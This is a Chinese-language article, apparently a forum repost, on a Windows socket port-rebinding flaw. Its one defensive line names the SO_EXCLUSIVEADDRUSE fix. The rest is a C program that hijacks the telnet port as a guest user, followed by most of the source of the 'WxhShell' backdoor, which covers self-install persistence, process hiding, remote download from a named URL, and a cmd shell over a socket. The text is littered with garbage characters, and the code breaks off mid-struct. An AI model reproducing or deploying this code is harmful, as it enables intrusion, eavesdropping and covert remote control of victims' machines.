在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
IFHgD}kp%# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0ll,V >rQ)|W=i saddr.sin_family = AF_INET;
[C*Xk{e JC1BUheeb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4kN:=g = m!! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'Y6(4|w
( hNgcE,67q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9
u6
g Y D1g]p 这意味着什么?意味着可以进行如下的攻击:
TU^tW QZeb+r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(]GY.(F{ `qQQQ.K7)z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+#2@G}j y2d_b/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dvH67 x {ILQ
CvP* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
aG8;,H=%, cfF-e93T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o
F,R@f l% 3Q=c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
dRarNW
`\}zm~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
zjhR9 8I|1Pl #include
6'X.[0M #include
$ET/0v"V #include
<{P^W;N7 #include
Wl^/=I4p# DWORD WINAPI ClientThread(LPVOID lpParam);
n,R[O_9u[ int main()
l"V8n BR` {
&vGEz*F WORD wVersionRequested;
o7Z#,>`2 DWORD ret;
WHh2fN'A5 WSADATA wsaData;
UBpM8 /U BOOL val;
(,Zz&3
AV SOCKADDR_IN saddr;
1[,#@!k@ SOCKADDR_IN scaddr;
R _~m\P int err;
YQw/[ SOCKET s;
`XRb:d^ SOCKET sc;
KfN`ZZ< int caddsize;
Yqj.z| }Nb HANDLE mt;
\1c`) DWORD tid;
zke~!"iq wVersionRequested = MAKEWORD( 2, 2 );
_*-'yu8# err = WSAStartup( wVersionRequested, &wsaData );
N*c?Er@8U if ( err != 0 ) {
oBGst t@ printf("error!WSAStartup failed!\n");
)l81R return -1;
A/W7;D }
{e!uvz,e saddr.sin_family = AF_INET;
ps4Wwk( B[k+#YYY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
AF{7<v>/P DdA}A>47 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q=L*
99S saddr.sin_port = htons(23);
\q)1TTnHS if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
znDtM1sLeV {
rSFXchD/ printf("error!socket failed!\n");
mU0r"\**c3 return -1;
Ny&Fjzl }
%.Q2r ?j val = TRUE;
:j5 0]zLy{ //SO_REUSEADDR选项就是可以实现端口重绑定的
+ xu/RY_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w[n>4?"{ {
|<o>$;mZ printf("error!setsockopt failed!\n");
8;dbU* return -1;
\/e*quxx }
I@3c QxI //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mk3e^,[A //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J7aK3he //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^_"q`71Dk K^1O =1gY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
cbHn\m)J, {
"5z6~dq ret=GetLastError();
lr= !:D=K printf("error!bind failed!\n");
Bo\dt@0; return -1;
X;[zfEB }
'%r@D&*vp listen(s,2);
8 H"f9S=K while(1)
0aN }zUf {
P+c Fp7nC caddsize = sizeof(scaddr);
8=_| qy}l/ //接受连接请求
mQ
`r`DW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nfPl#]ef* if(sc!=INVALID_SOCKET)
{UVm0AeUq {
JnKbd~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GeW$lA I if(mt==NULL)
^# g;"K0 {
z4%F2Czai& printf("Thread Creat Failed!\n");
W1,L>Az^Ts break;
|$-d,] V }
7Mbt*[n }
9;WOqBD CloseHandle(mt);
:FgRe,D }
,0u0 ' closesocket(s);
R~?; KJ WSACleanup();
CjukD%>sde return 0;
oL/^[TXjH }
XjM) /-w DWORD WINAPI ClientThread(LPVOID lpParam)
X;a{JjN {
A2FU}Ym0= SOCKET ss = (SOCKET)lpParam;
Kgio}y SOCKET sc;
;{C{V{ unsigned char buf[4096];
~m=%a SOCKADDR_IN saddr;
}u*@b10 long num;
>Ti2E+}[M DWORD val;
0Y`tj DWORD ret;
w*R-E4S?2 //如果是隐藏端口应用的话,可以在此处加一些判断
Y8xnvK* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
r{3`zqo saddr.sin_family = AF_INET;
1&L){ hg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\36;csu saddr.sin_port = htons(23);
uz2s- , if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WHk/mAI-s {
D{d$L9. printf("error!socket failed!\n");
V# %spW return -1;
6G})h! }
&1C9K> val = 100;
7CN[Z9Y^} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Yt<PKs#E {
6&Ir0K/ ret = GetLastError();
Q]'!FmXf return -1;
3tcsj0Rb }
p5rRhu/|k3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4E(5Ccb {
<R8Z[H:bV ret = GetLastError();
"$V2 $ return -1;
-ZON']|<}k }
a~TZ9yg+HL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
A0k>Nb\c3 {
g>-[-z$E3 printf("error!socket connect failed!\n");
NS~knR\& closesocket(sc);
.qPfi]
ty closesocket(ss);
nAC#_\ return -1;
'i-O }
n\p\*wb while(1)
491I {
YGmdiY:;1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Qg.:w //如果是嗅探内容的话,可以再此处进行内容分析和记录
+B|X
k[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
beR)8sC3q num = recv(ss,buf,4096,0);
#E@i @'T if(num>0)
YfU#kvE' send(sc,buf,num,0);
R51!j>[fqM else if(num==0)
N9|.D.#MF break;
Bx!` UdRn num = recv(sc,buf,4096,0);
ABDUp: if(num>0)
pREYAZh send(ss,buf,num,0);
{4q:4i else if(num==0)
?7ZlX?D[ break;
cb,sb^- }
zQ+t@;g1 closesocket(ss);
F7l:*r,O closesocket(sc);
.*7UT~o=CS return 0 ;
OIT;fKl9 }
EZfa0jJD ck+rOGv7{Z dkp[?f)x ==========================================================
-{%''(G yE9.]j 下边附上一个代码,,WXhSHELL
/~5YTe(F p>O< "X@ ==========================================================
W
A}@n PCfs6.*5Mf #include "stdafx.h"
:vT%5CQ 3) 0~: #include <stdio.h>
D.!7jA# #include <string.h>
~B\: #include <windows.h>
*
XGBym #include <winsock2.h>
e!Okc*, #include <winsvc.h>
~l6Y<-! #include <urlmon.h>
9v2 ; -;-"i J0 #pragma comment (lib, "Ws2_32.lib")
A\.*+k/B #pragma comment (lib, "urlmon.lib")
!c($ C f~9Y1|6 #define MAX_USER 100 // 最大客户端连接数
Vatt9 #define BUF_SOCK 200 // sock buffer
BF!zfX?n #define KEY_BUFF 255 // 输入 buffer
(W!$6+GT ,quTMtk~ #define REBOOT 0 // 重启
,?/<fxIY #define SHUTDOWN 1 // 关机
R
|% d vxEXy #define DEF_PORT 5000 // 监听端口
wCmv/m jtY~-@* #define REG_LEN 16 // 注册表键长度
VAt9JE;# #define SVC_LEN 80 // NT服务名长度
H12@12v 8E[`H // 从dll定义API
V,5}hQJ
F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x&vD,|V! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LL
[>Uu?Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
e6'O,\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TMsoQ82
e5]AB // wxhshell配置信息
LS;anNk@.} struct WSCFG {
sdD[`# int ws_port; // 监听端口
= h( n+y< char ws_passstr[REG_LEN]; // 口令
Ti'kn{
Zv int ws_autoins; // 安装标记, 1=yes 0=no
Y
sV char ws_regname[REG_LEN]; // 注册表键名
D .`\ ^a char ws_svcname[REG_LEN]; // 服务名
1?\ Y,+ char ws_svcdisp[SVC_LEN]; // 服务显示名
w%n]~w=8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
D0i30p` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+Bfi/ > int ws_downexe; // 下载执行标记, 1=yes 0=no
}C.{+U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2N 4> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:5J6rj;_ 3kY4V*9@- };
>t(@?*ZFT
%'z3es0 // default Wxhshell configuration
I9>*Yy5RNS struct WSCFG wscfg={DEF_PORT,
q+~CA[H5K "xuhuanlingzhe",
|9eY
R 1,
2A+,. S_!x "Wxhshell",
J3;KQ}F.I "Wxhshell",
t7FQ.E,T "WxhShell Service",
mA@+4& "Wrsky Windows CmdShell Service",
{[*_HAy7 "Please Input Your Password: ",
Jx w<* 1,
m)}MkC- "
http://www.wrsky.com/wxhshell.exe",
cO&9(.d "Wxhshell.exe"
[^~9wFNtd };
G1tp K/cK6Yr // 消息定义模块
nUHVPuQ/'T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O%e.u>=4% char *msg_ws_prompt="\n\r? for help\n\r#>";
C|LQYz-{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ze)K-6SKH char *msg_ws_ext="\n\rExit.";
{fD#= char *msg_ws_end="\n\rQuit.";
/
u6$M/Cf> char *msg_ws_boot="\n\rReboot...";
Lm#d.AD)
char *msg_ws_poff="\n\rShutdown...";
kELyD(^P` char *msg_ws_down="\n\rSave to ";
or`stBx |'_<(z char *msg_ws_err="\n\rErr!";
[rU8
#4.
char *msg_ws_ok="\n\rOK!";
i]pG}SJ
5AU3s char ExeFile[MAX_PATH];
vW3Zu B int nUser = 0;
4'&BpFDUb HANDLE handles[MAX_USER];
><c5Humr int OsIsNt;
HH@xnd K9'*q3z SERVICE_STATUS serviceStatus;
8-YrmP2k SERVICE_STATUS_HANDLE hServiceStatusHandle;
WEAXqDjM +Ob#3PRy // 函数声明
);H[lKy int Install(void);
>nEnX int Uninstall(void);
s;$TX30 4 int DownloadFile(char *sURL, SOCKET wsh);
;tiUOixJ int Boot(int flag);
ZH_4'm!^g| void HideProc(void);
J?fh3RW9 int GetOsVer(void);
=A6O}0z int Wxhshell(SOCKET wsl);
5N<v'6&= void TalkWithClient(void *cs);
Z"Ni
Y int CmdShell(SOCKET sock);
i]%"s_l int StartFromService(void);
olxP`iK
int StartWxhshell(LPSTR lpCmdLine);
Nn1^#kc RGI6W{\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
I]1Hi?A2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
|9$'?4F J5( D7rp# // 数据结构和表定义
@rE)xco SERVICE_TABLE_ENTRY DispatchTable[] =
w{EU9C {
B?Sfcq- {wscfg.ws_svcname, NTServiceMain},
6FMW g:{ {NULL, NULL}
F@roQQu };
#2ASzCe '$-,;vnP0 // 自我安装
pY#EXZ# int Install(void)
+ Z2<spqG {
KXCmCn
char svExeFile[MAX_PATH];
Q9tE^d+% HKEY key;
^T6!z^g1h strcpy(svExeFile,ExeFile);
FD+PD:cQn z>;+'>XXgx // 如果是win9x系统,修改注册表设为自启动
L b;vrh;A if(!OsIsNt) {
wNhR(M7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>ImM~SR) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1t=X: ]0j RegCloseKey(key);
aZGDtzNG5h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,GP4I3D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1?#9Kj{ql RegCloseKey(key);
<>Ddxmw return 0;
`h5eej&s( }
y@\Q@
9 }
v/.h%6n? }
NVWeJ+w else {
bMOM`At>z |hQ|'VCN // 如果是NT以上系统,安装为系统服务
HKN"$(Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qpqz. {\ if (schSCManager!=0)
7qK0!fk5 {
3N0X?* (x| SC_HANDLE schService = CreateService
E?4@C"Na (
Mr,y| schSCManager,
v|2q2 bz wscfg.ws_svcname,
Q4LlToHn wscfg.ws_svcdisp,
e -]c SERVICE_ALL_ACCESS,
&dDI*v+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
E816YS=' SERVICE_AUTO_START,
_s-HlE?C SERVICE_ERROR_NORMAL,
5po'(r|U svExeFile,
l~!fQ$~ NULL,
C!k9 JAa$Z NULL,
rnv7L^9^A NULL,
b\j&!_
NULL,
+xBK^5/x NULL
|QNLO#$ - );
VSpt&19 if (schService!=0)
wW! r}I# {
BRXb<M^;_ CloseServiceHandle(schService);
KSB_%OI1 CloseServiceHandle(schSCManager);
}>X\" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q>a7Ps@~ strcat(svExeFile,wscfg.ws_svcname);
/,N!g_"Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{F+M&+`` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s?x>Yl
% RegCloseKey(key);
%i
-X@.P return 0;
^ lc}FN }
&}6ES{Nr8 }
M:UB>-`bW CloseServiceHandle(schSCManager);
Ld3Bi2d| }
$<
K)fbG }
hN:F8r+DG KD"&_PX return 1;
OWXye4`* }
/.kna4k QJIItx4hE // 自我卸载
y(3c{y@~X int Uninstall(void)
H;*a:tbxO+ {
h$7Fe +#I# HKEY key;
q?-3^z%u ~d7Wjn$@ if(!OsIsNt) {
{qtc\O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{ .3 RegDeleteValue(key,wscfg.ws_regname);
@Gn?8Ur% RegCloseKey(key);
VXc+Wm*W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KjwY'aYwr: RegDeleteValue(key,wscfg.ws_regname);
%][$y7 RegCloseKey(key);
[X">vaa return 0;
Op/79]$ }
H(NT| }
<A -(&+ }
;?L!1wklA else {
M o"JV $]H= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0gOrW= if (schSCManager!=0)
bxhg*A {
<{NYD. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
h/X5w4 if (schService!=0)
)}Rfa}MD {
!V]MLA` if(DeleteService(schService)!=0) {
L;--d`[ CloseServiceHandle(schService);
}6CXJ+-UR CloseServiceHandle(schSCManager);
N;x<| %peL return 0;
LE<u&9I\ }
q1TW?\pjb: CloseServiceHandle(schService);
P"bknXL }
.mT#%ex CloseServiceHandle(schSCManager);
txml*/zL }
x>^3]m }
5@UC c uh5Pn#da^ return 1;
K(Q]&&< }
,jbGM&.C %0NkIQ`C // 从指定url下载文件
.@i0U int DownloadFile(char *sURL, SOCKET wsh)
'ybth {
$W/+nmb)@K HRESULT hr;
."IJmv char seps[]= "/";
aVQSN char *token;
xI@$aTGq char *file;
A{aw<
P|+ char myURL[MAX_PATH];
GDHK.?GY char myFILE[MAX_PATH];
YA"Ti9-EV %kK
][2e strcpy(myURL,sURL);
+^4BO` token=strtok(myURL,seps);
5oU`[&=Ob while(token!=NULL)
9|N"@0<B {
R81{<q'%X file=token;
5@+4 token=strtok(NULL,seps);
crJ7pe9 }
f2O*8^^Y{Q zNV!@Yr GetCurrentDirectory(MAX_PATH,myFILE);
z/Ns5 strcat(myFILE, "\\");
>~5lYD strcat(myFILE, file);
QE45!Zg send(wsh,myFILE,strlen(myFILE),0);
*2,e=tY> send(wsh,"...",3,0);
^"O{o8l>2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(# 6<k if(hr==S_OK)
.~. ``a return 0;
pHen>BA[ else
}XX~
W}M(\ return 1;
4d^
\l! MX!u$ei }
"U%n0r2 axK6sIxx // 系统电源模块
+mfe*'AU int Boot(int flag)
*GbVMW[A> {
RgB6:f, HANDLE hToken;
'yPCZ`5H( TOKEN_PRIVILEGES tkp;
.3lGX`d{ Mw"xm9(Q if(OsIsNt) {
V#'26@@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
e2AN[Ar LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Pz]bZPHn tkp.PrivilegeCount = 1;
7?=43bZl tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
U1,~bO9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
0?lp/|K if(flag==REBOOT) {
~L %Pz0Gg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
bZNIxkc[Dh return 0;
9wO/? }
OUEI~b1 else {
7FmbV/&c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1Pk mg%+ return 0;
iNod</+"K }
.FIt.XPzv }
omM&{ }8 g else {
~ X-)_zH if(flag==REBOOT) {
p?+lAbe6H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
xS6(K return 0;
=?/N5O( }
lGdM80f else {
]2Sfkl0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Guk.,}9 return 0;
N\9}\Rk@ }
3iE-6udCS }
^FP}
qW~;9 ZCy`2Fir return 1;
Ts|--, }
+kjzn]}f ]g{hhP3> // win9x进程隐藏模块
}JRP,YNh void HideProc(void)
eeuZUf+~] {
:GU,EDps j*uXB^4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;% 2wGT if ( hKernel != NULL )
Ho3dsh) {
5]jx5!N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)O,wRd>5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;mEwQ FreeLibrary(hKernel);
cVO,~I\\ }
8g\wVKkTQp
pv$mZi4i return;
A0G)imsW:_ }
t?gJNOV a%Uw;6|{ // 获取操作系统版本
Z+g1~\ int GetOsVer(void)
!CVuw {
<0CzB"Ap OSVERSIONINFO winfo;
#EJhAJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fJaubDxa GetVersionEx(&winfo);
J.#(gFBBl\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]b 3/Es+ return 1;
,eR8~(`= else
C\
tprnY return 0;
k!5m@'f }
XC=%H'p =WC-Sj{I // 客户端句柄模块
g3Z:{@m int Wxhshell(SOCKET wsl)
l
:/&E 6 9 {
,Du@2w3Cq SOCKET wsh;
g%ubvu2t] struct sockaddr_in client;
Ab/j(xr= DWORD myID;
W+_ R hJ p8Iw!HE while(nUser<MAX_USER)
7_-w_"X {
0axxQ!Ivx int nSize=sizeof(client);
q# MM wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:M06 ;:e if(wsh==INVALID_SOCKET) return 1;
(ab{F5 !BDUv( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2K;#Evn'j if(handles[nUser]==0)
7c-Gm R2 closesocket(wsh);
iZaeoy else
"NDxgJ%J35 nUser++;
blGf!4H }
Z,K7Ot0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(:5G#?6, 9qKzS<"h return 0;
Y$g}XN*)E }
`-_N@E1'> !YiuwFt // 关闭 socket
98fu>>*G{ void CloseIt(SOCKET wsh)
l[ne/O
JJ {
Ir5WN_EaS closesocket(wsh);
h35Hu_c& nUser--;
1"}cdq. ExitThread(0);
Z?oG*G: }
TI=h_%mO CswE // 客户端请求句柄
in<}fAro6 void TalkWithClient(void *cs)
yPV'pT) {
P-CB;\ sc W'AJJq SOCKET wsh=(SOCKET)cs;
_d@=nK) char pwd[SVC_LEN];
Bn?:w\%Ue char cmd[KEY_BUFF];
YzAFC11, char chr[1];
%r;w;`/hA int i,j;
?vgH"W~3> NBjeHtT while (nUser < MAX_USER) {
@b2`R3}9R z%1{ if(wscfg.ws_passstr) {
9I`Y-D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*:_P8G; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q/ZkW //ZeroMemory(pwd,KEY_BUFF);
vfcb:x i=0;
n-o3 while(i<SVC_LEN) {
DdSSd@,x* _n"Ae?TP // 设置超时
Q$ri=uB;+ fd_set FdRead;
>`'O7.R struct timeval TimeOut;
e}0:"R%E FD_ZERO(&FdRead);
>xu[q\:" FD_SET(wsh,&FdRead);
a{SBCy TimeOut.tv_sec=8;
B&Y_2)v TimeOut.tv_usec=0;
Ue*C>F
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#eK= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ow6*Xr8eQ @*MC/fe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
|>2FRPK pwd
=chr[0]; |E@djosyC
if(chr[0]==0xd || chr[0]==0xa) { Xf
d*D
pwd=0; ,e`'4H
break; ifK%6o6
} ~]'pY
i++; U7iuY~L
} jN0k9O>
%O%=rUD
// 如果是非法用户,关闭 socket \}_Yd8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s
'?G H
} }LP!)|E
zf [`~g
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8FkFM^\1L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |J0Q,F]T
k(%QIJH
while(1) { is?2DcSl5
gRJfX%*F
ZeroMemory(cmd,KEY_BUFF); x9W(cKB'S
rw7_5l
// 自动支持客户端 telnet标准 Ae uX Qt
j=0; (08I
while(j<KEY_BUFF) { ,#]t$mzbQ(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x3pND
cmd[j]=chr[0]; ?7MqeR4/E
if(chr[0]==0xa || chr[0]==0xd) { =Gk/k}1
cmd[j]=0; &~e$:8+
break; :_kAl? eJ
} J;$N{"M
j++; wsU V;S*X%
} [5$w=u"j
S8,Z;y
// 下载文件 P
u0uKE
if(strstr(cmd,"http://")) { LjB;;&VCn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8Q{9>^
if(DownloadFile(cmd,wsh)) l8h&|RY[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sZ<9A Xk-E
else CjIu[S1%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mTNVU@TY=
} `Y=WMNy
else { *i{Y 9f8
&w8)* T
switch(cmd[0]) { clw%B
A"5z6A4WB
// 帮助 $,>@o=)_
case '?': { b6(p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]iNEw9
break; 3]&o*Ib1`_
} X|D!VX>#!
// 安装 l`-bFmpA
case 'i': { u{N,Ib
8
if(Install()) P^`duZ{T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^YdcAHjK
else Sn4[3JV $l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )u]9193
break; NcPgq?3p
} Wo~vhv$E
// 卸载 ig LMv+{
case 'r': { }N0Qm[R
if(Uninstall()) PQKaqv}N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cxod[$8
else K$K^=>I"o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Or.;
break; :'F}Dy
} 38DT2<qC
// 显示 wxhshell 所在路径 !+)AeDc:j
case 'p': { z@Q@^
&0Mr
char svExeFile[MAX_PATH]; 5 <wnva
strcpy(svExeFile,"\n\r"); mI*[>#q>
strcat(svExeFile,ExeFile); +ISz?~8
send(wsh,svExeFile,strlen(svExeFile),0); h7*W*Bd
break; `Q3s4VEC
} l!}:|N Yh!
// 重启 v:Tzv^
case 'b': { U7uKRv9
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vx_o(wof
if(Boot(REBOOT)) +YLejjQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iy.2A!f^.
else { ,lA.C%4au~
closesocket(wsh); ;$Y4xM`=m
ExitThread(0); )irRO 8
} m-^8W[r+_
break; Y)N-V
]5L
} )[mwP.T=
// 关机 \I"Z2N>^z
case 'd': { ]?x:
Qm'yo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kr$b^"Ku
if(Boot(SHUTDOWN)) jdE5~a+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g;$Xq)Dd
else { ;S0Kh"A
closesocket(wsh); LK6; ?m
ExitThread(0); A;\7|'4
} 8Og_W8
break; %AOja+
} I$E.s*B9
// 获取shell ~%?`P/.o
case 's': { C2Xd?d
CmdShell(wsh); jM-)BP6f4
closesocket(wsh); 1]IQg;q
ExitThread(0); l]~n3IK"
break; "S3wk=?4
} V[-jD8='3
// 退出 FnJ?C&xK
case 'x': { dq[Mj5eC
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HV6f@
CloseIt(wsh); *(PL
_/:
break; S=_vv)6+4
} 2z\zh[(w
// 离开 z'uK3ng\hH
case 'q': { 3}|'0(hYL
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Og=*R6i
closesocket(wsh); z1^gDjkZ
WSACleanup(); 8
k3S
exit(1); '*\|;l#1
break; K\XH4kic
} % QKZT=}
} F(na{<g};
} h?bb/T+'
p-1 3H0Kt
// 提示信息 /mp*>sNr6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8,0YD#x
} 22f`LoM
} b~nAPY6
\:'%9 x
return; dCj,b$
} yHxosxd<*
M33_ja +L
// shell模块句柄 H[DUZ,J
int CmdShell(SOCKET sock) >A@Y$.
{ fN'HE#W1Xa
STARTUPINFO si; dt2$`X18
ZeroMemory(&si,sizeof(si)); BD`2l!d
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?nP*\8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ('-JY
PROCESS_INFORMATION ProcessInfo; ;FZ@:%qDm
char cmdline[]="cmd"; Sm~l:v0%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $.9{if#o&
return 0; XJLQ{
} gY@N~'f;"
J>u
7,
// 自身启动模式 {uGP&cS~(
int StartFromService(void) .BFYY13H
{ tK&'<tZh
typedef struct 5Ri6Z#qm
{ F <hJp,q9
DWORD ExitStatus; v@e~k-#
DWORD PebBaseAddress; gUeuUj
